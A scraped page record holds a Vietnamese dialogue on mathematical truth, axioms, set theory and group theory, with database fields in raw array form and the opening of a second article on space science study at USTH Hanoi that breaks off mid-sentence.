chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 